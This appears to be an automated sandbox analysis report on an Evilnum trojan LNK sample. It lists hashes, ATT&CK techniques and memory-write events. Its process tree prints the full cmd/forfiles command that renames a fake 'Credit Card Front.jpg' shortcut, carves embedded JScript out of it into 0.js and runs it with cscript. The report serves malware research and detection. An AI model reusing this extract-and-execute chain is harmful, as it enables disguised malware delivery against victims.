evilnum | ceb892d73cbfea205239dab384101305a957bfd675486a126787a74068c1ddea

Analysis

Target
ceb892d73cbfea205239dab384101305a957bfd675486a126787a74068c1ddea.lnk
Size 174KB
Sample220124-eps36abgdl
SHA256 ceb892d73cbfea205239dab384101305a957bfd675486a126787a74068c1ddea
MD5 70a03cefc2345047ad3d42175e15536c
SHA1 bd8d4c93234b01a155128e3fabb61ae1cc81b5f1
SHA512 29ea66dd13441030dac3140ba593b8ebc51f5b582636d03ae1a3b19dabd6047750ba1ed6dacaf04471a51c8bf10862ef0c9a0785f948f03fc02a3a24bba7be52
MD5 SHA1 SHA512

Score

10^/10

evilnum trojan

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1064 wrote to memory of 3752	1064	cmd.exe	69
PID 1064 wrote to memory of 3752	1064	cmd.exe	69
PID 3752 wrote to memory of 456	3752	cmd.exe	70
PID 3752 wrote to memory of 456	3752	cmd.exe	70
PID 3752 wrote to memory of 676	3752	cmd.exe	71
PID 3752 wrote to memory of 676	3752	cmd.exe	71
PID 3752 wrote to memory of 452	3752	cmd.exe	72
PID 3752 wrote to memory of 452	3752	cmd.exe	72
PID 3752 wrote to memory of 1536	3752	cmd.exe	73
PID 3752 wrote to memory of 1536	3752	cmd.exe	73
PID 3752 wrote to memory of 3316	3752	cmd.exe	74
PID 3752 wrote to memory of 3316	3752	cmd.exe	74

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ceb892d73cbfea205239dab384101305a957bfd675486a126787a74068c1ddea.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Credit Card Front.jpg.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Cred*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3752
- - C:\Windows\system32\forfiles.exe
    forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Cred*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
    3⤵
    PID:456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
    3⤵
    PID:676
- - C:\Windows\system32\find.exe
    find "TRU4"
    3⤵
    PID:452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" rd a"
    3⤵
    PID:1536
- - C:\Windows\system32\cscript.exe
    cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
    3⤵
    PID:3316

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact